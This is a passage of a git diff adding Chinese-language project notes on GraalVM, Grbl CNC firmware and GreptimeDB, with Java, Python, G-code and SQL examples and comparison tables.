+JDK 21+ 起，语言 JAR 像普通依赖一样放在 classpath/module path；构建 Native Image 时语言资源也会打进镜像（详见官方 Embedding Languages 文档）。
+
+### 4. Native Image：构建期世界
+
+**Native Image** 在 **构建期** 做类路径分析、可达性分析、静态初始化，把反射/JNI/资源访问尽量**固化**进镜像：
+
+```bash
+native-image -jar myapp.jar -o myapp
+# 或使用 Maven/Gradle Native Build Tools 插件
+./myapp   # 无 java 命令，毫秒级启动
+```
+
+代价：
+
+- **构建慢**（分钟级）、**构建期内存大**（常需 8G+）
+- **动态特性受限**：反射、动态代理、类加载、部分 Agent 需显式配置
+- **峰值吞吐** 有时低于长期运行的 HotSpot C2（无运行时 JIT 再优化空间）
+
+适合：**CLI、Serverless、Kubernetes scale-to-zero、安全沙箱边缘节点**；不适合：重度反射的遗留单体、需要频繁动态加载插件的 IDE 式应用（除非大量手工配置）。
+
+### 5. 语言生态一览
+
+| 语言组件 | 成熟度（约 2025–2026） | 典型用途 |
+|----------|-------------------------|----------|
+| **GraalJS** | 生产可用 | 嵌入脚本、JSON 处理、与 Java 互调 |
+| **GraalPy** | 稳定（纯 Python / Jython 场景） | 数据科学库嵌入、脚本扩展 |
+| **TruffleRuby** | 生产可用 | 高性能 Ruby、与 Java 互操作 |
+| **GraalWasm** | 稳定 | 沙箱执行 Wasm 模块 |
+| **Espresso** | 专用 | Java-on-Truffle（元循环） |
+| **Sulong** | 实验/专用 | LLVM 位码、原生库互操作 |
+
+各语言也可单独用启动器运行，例如 `js`、`graalpy`，并支持 `--polyglot` 选项打开跨语言模式。
+
+## 代码示例
+
+### 示例 1：Java 嵌入 JavaScript（Polyglot API）
+
+在 Java 主机里执行 JS、读取 guest 返回值并转成 Java 类型：
+
+```java
+import org.graalvm.polyglot.*;
+
+public class HelloPolyglot {
+    public static void main(String[] args) {
+        try (Context context = Context.newBuilder("js")
+                .allowAllAccess(true)  // 教学示例；生产应收紧权限
+                .build()) {
+            Value fn = context.eval("js", "x => x * x");
+            int result = fn.execute(7).asInt();
+            System.out.println("7^2 = " + result);  // 49
+
+            context.eval("js", """
+                const data = { lang: 'GraalJS', year: 2026 };
+                data.lang;
+                """);
+            Value lang = context.getBindings("js").getMember("data")
+                    .getMember("lang");
+            System.out.println(lang.asString());  // GraalJS
+        }
+    }
+}
+```
+
+**要点**：
+
+- `Context` 代表一个 guest 语言隔离环境，应用 **try-with-resources** 关闭（JDK 24+ 也会在 GC 时自动关闭，但仍推荐显式关闭）
+- `Value` 是跨语言统一句柄；`asInt()` / `asString()` 等做类型转换
+- 多语言时 `Context.newBuilder("js", "python").build()` 可一次加载多种语言
+
+命令行快速体验（已安装 GraalVM 且含 `js` 组件）：
+
+```bash
+js --jvm --polyglot -e "print(Polyglot.import('java.lang.System').getProperty('java.version'))"
+```
+
+### 示例 2：把 Polyglot 程序编译成原生可执行文件
+
+下面是一个最小 **Java + JavaScript** 混合应用，用 Native Image 打成单文件二进制（思路同 Oracle 官方 polyglot native 指南）：
+
+```java
+import org.graalvm.polyglot.*;
+
+public class PrettyPrintJSON {
+    public static void main(String[] args) throws Exception {
+        String json = new String(System.in.readAllBytes());
+        try (Context ctx = Context.create("js")) {
+            ctx.getBindings("js").putMember("raw", json);
+            ctx.eval("js", """
+                const obj = JSON.parse(raw);
+                console.log(JSON.stringify(obj, null, 2));
+                """);
+        }
+    }
+}
+```
+
+`pom.xml` 中引入 `org.graalvm.polyglot:polyglot` 与 `org.graalvm.polyglot:js`，然后：
+
+```bash
+mvn -Pnative package
+echo '{"GraalVM":{"role":"polyglot+native"}}' | ./target/prettyprintjson
+```
+
+**要点**：
+
+- 构建会把 **Truffle JS 引擎与语言资源** 一并打进镜像，体积和内存显著大于纯 Java native 镜像
+- 反射、资源、JNI 若构建报错，需查 **GraalVM Reachability Metadata** 仓库或手写 `META-INF/native-image/` 配置
+- 推荐用 **Native Build Tools**（Maven/Gradle 插件）而非手写 `native-image` 长命令
+
+### 示例 3：纯 Java 的 Native Image 冷启动对比
+
+```bash
+# JVM 模式
+time java -jar target/quarkus-app/quarkus-run.jar
+# 常见：1–3 s 启动
+
+# Native 模式（Quarkus / Micronaut / Spring Boot 3+ 均提供 profile）
+time ./target/myapp-runner
+# 常见：0.02–0.08 s 启动，RSS 明显下降
+```
+
+这不是魔法，而是 **把类初始化、依赖图、反射元数据在构建期算完** 的代价转移。
+
+## 安装与组件选择
+
+1. **下载**： [GraalVM 官网](https://www.graalvm.org/downloads/) 或 SDKMAN `sdk install java 25-graal-ce`
+2. **按需装语言**：`gu install js python ruby wasm llvm`（`gu` 是 GraalVM 组件管理器；Maven 依赖方式下可不用 `gu`）
+3. **Native Image**：`gu install native-image` 或使用带 `native-image` 的完整发行版
+4. **验证**：`native-image --version`、`js --version`
+
+开发 Polyglot 嵌入时，优先查当前 JDK 版本对应的 **Embedding Languages** 与 **Polyglot Programming** 手册（JDK 21 起 API 与打包方式有重要修订）。
+
+## 与 OpenJDK / 其他方案对比
+
+| 维度 | OpenJDK HotSpot | GraalVM JIT 模式 | GraalVM Native Image |
+|------|-----------------|------------------|----------------------|
+| 启动时间 | 秒级 | 秒级 | 毫秒～百毫秒级 |
+| 峰值吞吐 | 很高（C2 成熟） | 高 | 中～高（视 workload） |
+| 内存占用 | 较大 | 较大 | 小 |
+| 动态反射/类加载 | 完整 | 完整 | 需配置 |
+| 多语言 | 仅 JVM 语言 | Truffle 全家桶 | 可嵌入多语言 |
+| 运维 | `java -jar` | `java -jar` | 单二进制 |
+
+| 对比对象 | 差异 |
+|----------|------|
+| **[[openjdk]]** | GraalVM 是发行版超集；可只当 JDK 用 |
+| **[[wasmtime]]** / **[[wasmer]]** | Wasm 专用运行时更轻；GraalWasm 胜在 JVM 生态与 Polyglot |
+| **[[quickjs]]** | 嵌入式 JS 极小；GraalJS 胜在 JIT 与 Java 互调 |
+| **[[quarkus]]** / **[[micronaut]]** | 框架层；Native 能力依赖 GraalVM |
+
+## 常见坑与排错
+
+1. **Native 构建 OOM**：增大 `JAVA_HOME` 指向的构建 JVM 堆，如 `export MAVEN_OPTS="-Xmx8g"`
+2. **反射/资源缺失**：运行时 `ClassNotFoundException` / `NoSuchMethodException` → 补 `reflect-config.json` 或依赖库的 reachability metadata
+3. **Polyglot 权限**：默认沙箱较严，嵌入时显式配置 `allowHostAccess` / `allowIO`，生产避免 `allowAllAccess(true)`
+4. **JDK 模块**：classpath 模式有时需 `--add-modules=org.graalvm.polyglot`；JDK 24+ 注意 `--enable-native-access` 警告
+5. **Uber JAR**：官方不推荐把 Polyglot 打成 fat jar；Native Image **不支持** 这类 uber jar
+6. **调试**：Native 镜像调试需 ahead-of-time 带调试信息，体验仍差于普通 HotSpot；开发期用 JVM 模式
+
+## 适用场景速查
+
+| 场景 | 建议 |
+|------|------|
+| 普通 Spring 单体、长时间跑批 | OpenJDK HotSpot 即可 |
+| Serverless / Knative / Lambda 冷启动敏感 | Native Image + Quarkus/Micronaut |
+| Java 应用内嵌脚本引擎 | Polyglot（JS/Python） |
+| 多语言同一进程、频繁跨语言调用 | GraalVM Polyglot |
+| 极致小包嵌入式 JS | 考虑 QuickJS；要 JIT+Java 选 GraalJS |
+| 研究语言实现 / 编译器 | Truffle 框架 + [[graalvm-truffle]] 论文 |
+
+## 时间线（简表）
+
+| 年份 | 里程碑 |
+|------|--------|
+| 2013 | Onward!《One VM to Rule Them All》提出 Truffle + Graal 多语言愿景 |
+| 2017 | PLDI partial evaluation 工业化；TruffleRuby 等成熟 |
+| 2019+ | Native Image 进入 Spring / Quarkus 主流叙事 |
+| 2023–2024 | GraalPy、GraalWasm 宣布生产可用；语言改为 Maven 依赖分发 |
+| 2025–2026 | Native Image Layers、Reachability Metadata 默认集成；Kafka native broker 等案例落地 |
+
+## 延伸阅读
+
+- 官方：[Polyglot Programming](https://www.graalvm.org/latest/reference-manual/polyglot-programming/)
+- 官方：[Embedding Languages](https://www.graalvm.org/latest/reference-manual/embed-languages/)
+- 官方：[Native Image 指南](https://www.graalvm.org/latest/reference-manual/native-image/)
+- 本库论文笔记：[[graalvm-truffle]] — Truffle 自优化 AST 与 partial evaluation 原理
+- 本库项目笔记：[[quarkus]]、[[micronaut]] — GraalVM Native 的云原生框架实践
+- 本库：[[openjdk]] — HotSpot 与 GraalVM 的分工与渊源
diff --git a/src/content/docs/projects/grafana.md b/src/content/docs/projects/grafana.md
index bdd78956a..6ada1db15 100644
--- a/src/content/docs/projects/grafana.md
+++ b/src/content/docs/projects/grafana.md
@@ -2,7 +2,7 @@
 title: Grafana — 监控可视化看板
 来源: https://github.com/grafana/grafana
 日期: 2026-05-29
-子分类: DevOps 与运维
+子分类: cloud-native
 分类: 基础设施
 难度: 中级
 provenance: pipeline-v3
diff --git a/src/content/docs/projects/grbl.md b/src/content/docs/projects/grbl.md
new file mode 100644
index 000000000..35372896c
--- /dev/null
+++ b/src/content/docs/projects/grbl.md
@@ -0,0 +1,299 @@
+---
+title: Grbl — 让 Arduino 听懂 G-code 的 CNC「翻译官」
+来源: 'https://github.com/gnea/grbl'
+日期: '2026-06-13'
+子分类: 嵌入式
+分类: 操作系统
+provenance: 'pipeline-v3'
+---
+
+## 是什么
+
+**Grbl** 是 [gnea/grbl](https://github.com/gnea/grbl) 维护的开源 **嵌入式 G-code 解析器 + CNC 运动控制器**：用高度优化的 C 语言写在 Arduino（典型为 ATmega328p，如 Uno / Nano）上，把上位机发来的 **标准 G-code 文本** 翻译成 **步进电机驱动器能听懂的脉冲时序**，从而驱动小型 CNC 铣床、激光雕刻机、笔式绘图仪等「三轴运动平台」。
+
+日常类比：**餐厅后厨里的传菜员 + 节拍器**。
+
+想象你是顾客（CAM 软件 / 手工写的 G-code），厨房前台（串口终端、Universal Gcode Sender、LightBurn、Candle 等 GUI）把你的点菜单一行行递给传菜员（Grbl）。传菜员 **不亲自炒菜**（不算复杂刀路几何学——那是 CAM 的事），他的职责是：
+
+1. **读懂** 每一行指令（`G0` 快速移动、`G1` 直线切削、`G2/G3` 圆弧……）；
+2. **排期**——在脑子里排好「先加速、再匀速、再减速」的时间表（规划器 planner）；
+3. **打拍子**——按微秒级节拍给步进驱动器发 STEP 脉冲（步进 ISR），让 X/Y/Z 同步到位；
+4. **汇报**——每做完一行回一个 `ok`，出错了回 `error:编号`，急停时喊 `ALARM`。
+
+Grbl 的哲学是 **做少、做精、做实时**：它故意不做 U 盘直读、LCD 菜单、网络栈——那些交给上位机 GUI。固件只专注 **干净、可靠的运动**。官方 README 称：在 16MHz AVR 上可达约 **30kHz 稳定、低抖动的控制脉冲**；v1.1 支持圆弧/螺旋线、探针循环、刀长补偿、激光/主轴 PWM、点动（jog）等工业常用子集，但不支持宏变量和大多数 canned cycle（官方认为 GUI 应预先展开成直线 G-code）。
+
+与 [[marlin]] / [[klipper]] 的对比：Marlin、Klipper 面向 **3D 打印**（挤出机、热床 PID、多轴 E）；Grbl 面向 **减材 / 2.5D 雕刻**（主轴/激光、工件坐标系 G54–G59、软限位与回零）。三者都解析 G-code，但 Grbl 更轻、更老、更「单板串口即用」，是开源 CNC 生态的奠基固件之一。
+
+## 解决什么问题
+
+在 Grbl 流行之前，许多 DIY CNC 依赖 **并口（LPT）+ PC 软件** 直接吐脉冲：换电脑、换系统、USB 隔离都麻烦，实时性也难保证。Grbl 用一块十几美元的 Arduino 把问题收成：
+
+| 痛点 | 并口时代 | Grbl 的回应 |
+| --- | --- | --- |
+| 主机实时性 | Windows 后台任务会卡脉冲 | MCU 专管步进，主机只发文本 |
+| 协议标准 | 各软件私有二进制 | 串口 + G-code + `$` 配置，文档公开 |
+| 成本 | 老式 PC 并口稀缺 | Uno + 驱动板即可 |
+| 加减速 | 容易失步、拐角过冲 | 内建 look-ahead 规划器（最多 16 段缓冲） |
+| 安全 | 限位/急停接线随意 | 状态机 + ALARM + 软/硬限位可配置 |
+
+核心问题：**能否在资源极少的 8 位 MCU 上，用开源固件可靠执行 CAM 输出的 G-code，并给 GUI 留出清晰的串口协议？** Grbl 的答案持续了十余年，衍生出 grblHAL（多 MCU）、Grbl_Esp32 等分支，但 gnea/grbl 仍是 AVR 路线的参考实现。
+
+## 核心概念
+
+### 1. 源码模块：一条 G-code 如何变成脉冲
+
+仓库 `grbl/` 目录按职责拆分（见 [GitHub 文件树](https://github.com/gnea/grbl/tree/master/grbl)）：
+
+```
+串口 serial.c  ←→  协议层 protocol.c（主循环 + 实时命令）
+                        ↓
+              G-code 解析 gcode.c（模态状态、语法检查）
+                        ↓
+              运动入口 motion_control.c（mc_line 等）
+                        ↓
+              规划器 planner.c（加减速、拐角速度、16 段缓冲）
+                        ↓
+              步进执行 stepper.c（定时器 ISR 发 STEP）
+                        ↓
+              引脚映射 cpu_map.h / config.h
+```
+
+- **`protocol_main_loop()`**（`protocol.c`）：上电初始化、读限位、进入无限循环；在「等缓冲区有空位」等阻塞点反复调用 **`protocol_exec_rt_system()`**，处理 `!` 暂停、`~` 继续、`?` 状态查询等 **实时命令**，避免与 G-code 解析抢状态。
+- **`gc_execute_line()`**（`gcode.c`）：解析一行；错误则 **整行丢弃** 并 `error:n`，防止半行模态污染后续程序。
+- **`plan_buffer_line()`**（`planner.c`）：把目标位置、进给率变成带加速度约束的运动段队列。
+- **`stepper.c`**：从规划器取出段，在硬件定时器中断里精确翻转 STEP 引脚；脉冲宽度由 `$0`（步进脉冲微秒数）等设置约束。
+
+数据流可记为：**文本行 → 解析器 → 规划队列 → ISR 脉冲 → 机械位移**。
+
+### 2. 三层缓冲：为什么流式发送有讲究
+
+Grbl 与上位机之间典型存在：
+
+| 缓冲 | 容量（量级） | 作用 |
+| --- | --- | --- |
+| 串口 RX | 约 127 字符 | 暂存主机发来的行 |
+| Planner | 16 行运动 | 预计算加减速，look-ahead |
+| 步进段 | 执行中 | ISR 正在消费的脉冲序列 |
+
+官方 [Interface 文档](https://github.com/gnea/grbl/blob/master/doc/markdown/interface.md) 定义两种流式协议：
+
+- **Send-Response（推荐新手）**：发一行 → 等 `ok` → 再发下一行；最简单，但若程序含大量短线段，主机往返延迟可能 **饿死** planner，运动一停一停。
+- **Character-Counting（高性能）**：跟踪已发送字符数，在不超过 128 字节 RX 的前提下 **尽量灌满** 串口缓冲；配合 `$C` 预检查模式，适合激光机等高速短段作业。
+
+实时字符（`?`、`!`、`~`、软复位 `0x18` 等）**不进 RX 缓冲**，在串口层被截获并置标志位——这是 Grbl 能在运动中立刻暂停的关键。
+
+### 3. 状态机：什么时候能动、什么时候必须停
+
+`sys.state` 决定当前可接受的命令（Wiki / DeepWiki 归纳）：
+
+| 状态 | 含义 | 典型限制 |
+| --- | --- | --- |
+| `Idle` | 空闲 | 可接受新 G-code、`$` 设置 |
+| `Run` | 执行程序 | 实时命令、上报可用 |
+| `Hold` | 进给保持 | 规划减速停，可 `~` 恢复 |
+| `Jog` | 点动 | 与主程序解析器隔离（v1.1） |
+| `Homing` | 回零 | 专用周期 |
+| `Alarm` | 报警 | 需 `$X` 解锁或复位 |
+| `Sleep` | 休眠 `$SLP` | 关闭步进保持，仅硬复位唤醒 |
+
+**ALARM** 与 **error** 不同：`error` 是单行解析失败；`ALARM` 是硬限位触发、急停、探针失败等 **系统级停机**，必须人工介入。
+
+### 4. `$` 设置与 EEPROM：机器的「出厂参数表」
+
+Grbl 不把机床参数写死在编译里（基础引脚在 `config.h` / `cpu_map.h`），运行时用 **`$编号=值`** 存入 EEPROM。常用项（详见 [settings.md](https://github.com/gnea/grbl/blob/master/doc/markdown/settings.md)）：
+
+| 设置 | 含义 |
+| --- | --- |
+| `$0` | 步进脉冲宽度（µs），默认约 10 |
+| `$1` | 步进空闲后多久关闭保持电流（ms，255=常使能） |
+| `$3` | 各轴方向反转位掩码 |
+| `$100–$102` | X/Y/Z **steps/mm**（标定核心） |
+| `$110–$112` | 各轴最大速率（mm/min） |
+| `$120–$122` | 各轴加速度（mm/s²） |
+| `$130–$132` | 各轴最大行程（软限位用） |
+| `$22` | 是否启用回零 |
+| `$23` | 回零方向掩码 |
+| `$32` | 激光模式（M3/M5 变功率而非等待转速） |
+
+查询：`$$` 打印全部；`$#` 打印坐标系与 G92 等参数；`$G` 打印模态状态；`$I` 打印版本/build 信息。
+
+**steps/mm 计算**（Wiki 配置指南）：
+
+```
+steps/mm = (步进电机每圈整步数 × 每步微步数) / 每圈丝杠/皮带移动的距离(mm)
+```
+
+例：200 整步 × 16 微步，丝杠导程 8mm/rev → `(200×16)/8 = 400` steps/mm。
+
+### 5. 坐标系：G54 与 G92
+
+- **工件坐标系** `G54`–`G59`：CAM 常输出「相对于工件零点」的坐标，Grbl 支持六套可切换偏置（`G10 L2` 写入 EEPROM）。
+- **G92 坐标偏移**：历史遗留的「当前点定义为某坐标」；v1.1 建议在 GUI 侧用 `G10` 替代；`$C` 检查模式结束会软复位并 **清除 G92**。
+
+### 6. 支持的 G-code 子集（v1.1）
+
+README 列出主要支持项（**不支持** 宏、`G81` 等多数 canned cycle）：
+
+- 运动：`G0` `G1` `G2` `G3` `G38.2–.5`（探针）`G80`
+- 单位/距离：`G20/G21` `G90/G91` `G91.1`（圆弧 IJK 增量）
+- 平面：`G17/G18/G19`
+- 坐标：`G54–G59` `G28/G30` 回参考点
+- 流程：`M0` `M2` `M30`；冷却 `M7/M8/M9`；主轴 `M3/M4/M5`
+
+## 从零上手：推荐路径
+
+1. **硬件**：Arduino Uno/Nano + CNC Shield（如 A4988/DRV8825）+ 步进电机 + 限位开关（可选）+ 12–24V 电源。`config.h` 选对 `cpu_map.h` 引脚表（常见为 `cpu_map_atmega328p.h`）。
+2. **烧录**：用 Arduino IDE 或 PlatformIO 编译 `grbl` 项目并上传；上电串口 115200 应看到欢迎语 `Grbl 1.1h ['$' for help]`。
+3. **空载试转**：串口发 `G91 G0 X1` / `G91 G0 X-1` 看 X 轴是否约动 1mm；方向反了改 `$3`。
+4. **标定 `$100–$102`**：用卡尺实测，微调 steps/mm。
+5. **回零与软限位**：装限位后设 `$22=1`，设 `$130–$132` 行程，`$20=1` 开软限位（须先回零）。
+6. **上位机**：UGS、Candle、LaserGRBL、LightBurn（激光）等，负责发送文件与可视化；固件保持 Grbl 即可。
+
+## 代码示例
+
+### 示例 1：用 Python 以 Send-Response 方式流式发送 G-code
+
+下列脚本复现官方 `simple_stream.py` 的核心逻辑：每行等待 `ok` 或 `error:`，适合学习与调试（需 `pip install pyserial`）。
+
+```python
+#!/usr/bin/env python3
+"""向 Grbl 流式发送 G-code（Send-Response 协议）"""
+import serial
+import time
+import sys
+
+PORT = "/dev/tty.usbserial-1410"  # macOS/Linux 按实际修改；Windows 如 COM3
+BAUD = 115200
+
+PROGRAM = [
+    "G21",           # 毫米单位
+    "G90",           # 绝对坐标
+    "G0 X0 Y0 Z0",   # 快速到原点（需已回零或知悉坐标）
+    "G1 X10 F500",   # 直线到 X=10，进给 500 mm/min
+    "G1 Y10",
+    "G0 X0 Y0",
+]
+
+def wait_for_response(ser: serial.Serial) -> str:
+    """读取直到 ok / error: 行（忽略 <...> 状态推送）"""
+    while True:
+        line = ser.readline().decode("ascii", errors="ignore").strip()
+        if not line:
+            continue
+        if line.startswith("<"):
+            print(f"  [status] {line}")
+            continue
+        return line
+
+def main() -> None:
+    with serial.Serial(PORT, BAUD, timeout=1) as ser:
+        time.sleep(2)  # 等待 Grbl 启动
+        ser.reset_input_buffer()
+        for cmd in PROGRAM:
+            print(f">> {cmd}")
+            ser.write((cmd + "\n").encode("ascii"))
+            resp = wait_for_response(ser)
+            print(f"<< {resp}")
+            if resp.startswith("error"):
+                sys.exit(f"Grbl 报错，已停止: {resp}")
+    print("程序发送完毕")
+
+if __name__ == "__main__":
+    main()
+```
+
+要点：
+
+- 状态报告 `<Idle|...>` 是 **push 消息**，不算在流式 ack 里，应单独解析或忽略。
+- 可随时发 `?` 查询位置（不占用 RX 缓冲）；暂停发 `!`，继续发 `~`。
+- 修改 EEPROM 的指令（`$100=400` 等）应在 **Idle** 下发，且不要用 character-counting 在写入时继续灌数据。
+
+### 示例 2：串口配置会话与最小加工 G-code
+
+连接 115200 串口终端后，典型首次配置（数值需按你的机械更换）：
+
+```text
+$$                    # 查看当前全部设置
+$100=400.000          # X 轴 steps/mm
+$101=400.000          # Y
+$102=400.000          # Z
+$110=5000.000         # X 最大速率 mm/min
+$120=200.000          # X 加速度 mm/s²
+$22=1                 # 启用回零
+$23=1                 # X 回零方向（位掩码，按接线调整）
+$130=200.000          # X 最大行程 mm
+$20=1                 # 软限位（需已回零）
+$X                    # 若有 ALARM，解锁
+$H                    # 执行回零周期
+$G                    # 查看模态：单位、距离模式、坐标系
+```
+
+确认空载安全后，可发送极简「矩形刀路」：
+
+```gcode
+G21 G90 G54
+G0 Z5.000
+G0 X0 Y0
+G1 Z-1.000 F100
+G1 X50 Y0 F300
+G1 X50 Y30
+G1 X0 Y30
+G1 X0 Y0
+G0 Z5.000
+M5
+```
+
+若仅测试移动、主轴未接，可省略 `M3`/`M5`；激光模式（`$32=1`）下 `M3 S1000` 用 S 值调功率。
+
+### 示例 3：编译期引脚与功能开关（`config.h` 片段）
+
+Grbl 行为大量由 `grbl/config.h` 在 **编译期** 决定（与运行期 `$` 互补）。例如启用激光模式、改报告类型：
+
+```c
+// grbl/config.h 节选 — 修改后需重新编译烧录
+
+#define DEFAULT_LASER_MODE_ENABLE 1   // 1=激光/PWM 模式默认开启（亦可用 $32 运行时改）
+
+// 状态报告中位置用机器坐标 MPos 还是工件坐标 WPos
+#define REPORT_MACHINE_POSITION       // 默认 MPos；注释掉则 WPos
+
+#define HOMING_INIT_LOCK              // 上电必须回零才能动（视安全需求）
+
+// 默认串口波特率（亦可用 $10 等设置，视版本）
+#define BAUD_RATE 115200
+```
+
+引脚定义在 `cpu_map.h` 选择的板级文件中，例如 `STEP_DDR`、`X_STEP_BIT` 等；换板或换接线时必须与 **CNC Shield 丝印** 一致，否则表现是「某轴不动或乱转」。
+
+## 与生态的关系
+
+| 组件 | 角色 |
+| --- | --- |
+| CAM（Fusion 360、Carbide Create、FreeCAD Path） | 生成刀路 G-code |
+| 控制 GUI（UGS、Candle、gsender、bCNC） | 流式发送、可视化、探针向导 |
+| 激光软件（LightBurn） | 图像转 G-code，依赖 Grbl 激光模式 |
+| grblHAL / Grbl_Esp32 | 更高主频、更多轴、以太网 — 协议思想延续 Grbl |
+| [[klipper]] | 不同赛道（3D 打印）；主机+MCU 分工，非 G-code 单行 ack 同一套 |
+
+Grbl 文档入口：[Wiki](https://github.com/gnea/grbl/wiki)、[Interface](https://github.com/gnea/grbl/blob/master/doc/markdown/interface.md)、[Settings](https://github.com/gnea/grbl/blob/master/doc/markdown/settings.md)、[Configuration 指南](https://github.com/gnea/grbl/wiki/Grbl-v1.1-Configuration)。
+
+## 常见问题
+
+**Q：发了 G-code 没动静？**  
+先 `$X` 清报警，确认 `Idle` 而非 `Alarm`；是否完成回零（若启了 `$22`）；`$1` 是否让步进保持关闭过快；进给 `F` 是否过小。
+
+**Q：`error:22` Feed rate not set？**  
+`G1`/`G2`/`G3` 需要 `F` 字；或在之前行已设进给模态。
+
+**Q：圆弧 `error:34`？**  
+半径法圆弧几何无解，改用小线段或 IJK 偏移法，并检查 `G91.1`。
+
+**Q：和 Marlin 能共用一块板吗？**  
+硬件可能都是 Arduino+驱动，但 **固件不同、G-code 扩展不同**；3D 打印机刷 Marlin，CNC/激光刷 Grbl 或衍生版，勿混用。
+
+**Q：性能瓶颈？**  
+大量 `G1` 短段（尤其 G64 未等效的高密多段）会吃满 16 段 planner；用 character-counting 流式、CAM 简化路径，或升级 grblHAL。
+
+## 小结
+
+Grbl 把 CNC 运动控制从「PC 并口吐脉冲」收成 **「串口 + G-code + 单板实时」** 的标准范式：上位机负责文件与人机界面，固件负责 **解析、规划、脉冲、状态机**。零基础学习路径是：**串口对话 → `$` 标定 → 回零与限位 → Send-Response 发程序 → 再读 Interface 做 GUI 或自动化**。掌握 planner 缓冲、实时命令与 ALARM 语义后，读 `protocol.c` / `planner.c` 源码会顺畅很多——那正是 Grbl 作为嵌入式运动控制教科书的魅力所在。
diff --git a/src/content/docs/projects/greptimedb.md b/src/content/docs/projects/greptimedb.md
new file mode 100644
index 000000000..951896697
--- /dev/null
+++ b/src/content/docs/projects/greptimedb.md
@@ -0,0 +1,249 @@
+---
+title: GreptimeDB — 云原生时序数据库
+来源: https://github.com/GreptimeTeam/greptimedb
+日期: 2026-06-13
+分类: 数据库
+子分类: databases-storage
+provenance: pipeline-v3
+---
+
+# GreptimeDB — 云原生时序数据库
+
+## 什么是 GreptimeDB？
+
+先想一个日常场景：你开了一家连锁咖啡店，有 50 家店，每秒钟都在产生数据 —— 每杯咖啡的交易记录、每台咖啡机的温度传感器读数、每个顾客的排队等待时间。
+
+过去，你要用三个不同的"仓库"来管这些数据：
+- 一个仓库管「交易数字」（类似 Prometheus 管指标）
+- 一个仓库管「文字记录」，比如顾客投诉（类似 Loki 管日志）
+- 一个仓库管「流程追踪」，比如一个订单从下单到完成的每一步（类似 Jaeger/Elasticsearch 管链路追踪）
+
+这三个仓库各用各的语言、各管各的事。如果你想搞清楚"为什么某家店在某个时间段的投诉突然变多了"，你就得在三个仓库之间来回翻找，非常麻烦。
+
+GreptimeDB 的思路是：**一个数据库，同时管这三类数据。** 用同一套 SQL 就能跨指标、日志、链路做关联分析。
+
+> GreptimeDB 是一个用 Rust 编写的开源云原生时序数据库，专注于可观测性（Metrics + Logs + Traces）场景。它由字节跳动开源，支持 Kubernetes 原生部署和对象存储。
+
+---
+
+## 核心概念
+
+### 1. 时间索引（Time Index）
+
+每个时序数据库最核心的东西就是"时间"。GreptimeDB 里，每行数据都有一个 `TIMESTAMP` 类型的列，叫 **TIME INDEX**。所有数据按时间排序存储，查询时也首先用时间来过滤。
+
+### 2. 标签（Tag）vs 字段（Field）
+
+GreptimeDB 的数据模型把列分为两类：
+
+| 类型 | 作用 | 类比 |
+|------|------|------|
+| **Tag** | 标识"哪一条时序"，相当于分类标签 | 咖啡店的"店名"、"城市" |
+| **Field** | 实际记录的数据值 | 咖啡机的"温度"、"压力" |
+
+Tag 列用于分组和过滤，Field 列存储实际测量值。这种区分让数据库能高效压缩和索引数据。
+
+### 3. 统一数据模型
+
+GreptimeDB 把指标、日志、链路看作同一模型的三种投影：
+
+- **指标（Metrics）**：带有 Tag + Timestamp + Field 的结构化数值
+- **日志（Logs）**：没有 Tag，只有 Timestamp + Field 的文本/结构体
+- **链路（Traces）**：带有 Tag（服务名）+ Timestamp + Field（耗时等）的追踪记录
+
+它们共享同样的底层存储格式，所以可以跨信号类型做 JOIN 查询。
+
+### 4. 计算存储分离（Compute-Storage Separation）
+
+GreptimeDB 把计算节点和存储节点分开：
+- **存储**：数据持久化到对象存储（如 AWS S3），成本低、无限扩展
+- **计算**：查询引擎无状态，可以根据负载弹性伸缩
+- **本地磁盘**：只用作缓存层，不是必需
+
+这意味着你可以随时增加计算节点来加速查询，而不必担心数据迁移。
+
+### 5. 协议兼容
+
+GreptimeDB 不要求你放弃现有工具：
+- Prometheus Remote Write —— 直接把 Prometheus 的指标写入
+- OpenTelemetry（OTLP）—— 直接接收 Metrics/Logs/Traces
+- Loki Protocol —— 直接接收 Loki 的日志
+- Elasticsearch 协议 —— 直接写入
+- MySQL / PostgreSQL 协议 —— 用标准 SQL/psql 连接
+- InfluxDB Line Protocol —— 时序数据库常用格式
+
+---
+
+## 代码示例
+
+### 示例 1：创建表并写入数据
+
+下面创建一张监控表格，模拟记录多台服务器的 CPU 使用率：
+
+```sql
+-- 创建指标表：host 和 datacenter 是 Tag（PRIMARY KEY），
+-- cpu_usage 是 Field（实际数据），ts 是 TIME INDEX
+CREATE TABLE server_metrics (
+    host        STRING,
+    datacenter  STRING,
+    cpu_usage   DOUBLE,
+    memory_util DOUBLE,
+    ts          TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
+    PRIMARY KEY (host, datacenter),
+    TIME INDEX (ts)
+);
+
+-- 写入多条记录
+INSERT INTO server_metrics (host, datacenter, cpu_usage, memory_util)
+VALUES
+    ('server-1', 'us-east-1',  45.2,  62.1),
+    ('server-1', 'us-east-1',  92.7,  78.4),
+    ('server-2', 'us-east-1',  12.3,  45.6),
+    ('server-2', 'us-east-1',  15.1,  46.2),
+    ('server-3', 'eu-west-1',  88.9,  91.3);
+
+-- 查询：找出 us-east-1 机房中 CPU 使用率超过 50% 的记录
+SELECT host, ts, cpu_usage
+FROM server_metrics
+WHERE datacenter = 'us-east-1'
+  AND cpu_usage > 50.0;
+```
+
+结果会返回 server-1 和 server-3 的高 CPU 记录。
+
+**这里的关键点是：**
+- `PRIMARY KEY (host, datacenter)` 定义了 Tag 列 —— 相同 host + datacenter 的行属于同一条时序
+- `TIME INDEX (ts)` 告诉数据库按时间排序，这是查询性能的关键
+- `INSERT` 之后，GreptimeDB 会自动按 `(host, datacenter, ts)` 排序存储
+
+### 示例 2：关联分析 —— 同时看指标、日志和链路
+
+这是 GreptimeDB 最强大的能力。假设我们遇到一个问题：某台服务器的延迟突然飙升。我们需要同时看三个方面：
+
+```sql
+-- 第一步：创建三张表分别存指标、日志、链路
+CREATE TABLE grpc_latencies (
+    ts          TIMESTAMP TIME INDEX,
+    host        STRING,
+    latency     DOUBLE,
+    PRIMARY KEY (host)
+);
+
+CREATE TABLE app_logs (
+    ts          TIMESTAMP TIME INDEX,
+    host        STRING,
+    error_msg   STRING FULLTEXT INDEX,
+    PRIMARY KEY (host)
+) WITH ('append_mode' = 'true');
+
+CREATE TABLE traces (
+    ts            TIMESTAMP TIME INDEX,
+    trace_id      STRING SKIPPING INDEX,
+    service_name  STRING,
+    duration      DOUBLE,
+    PRIMARY KEY (service_name)
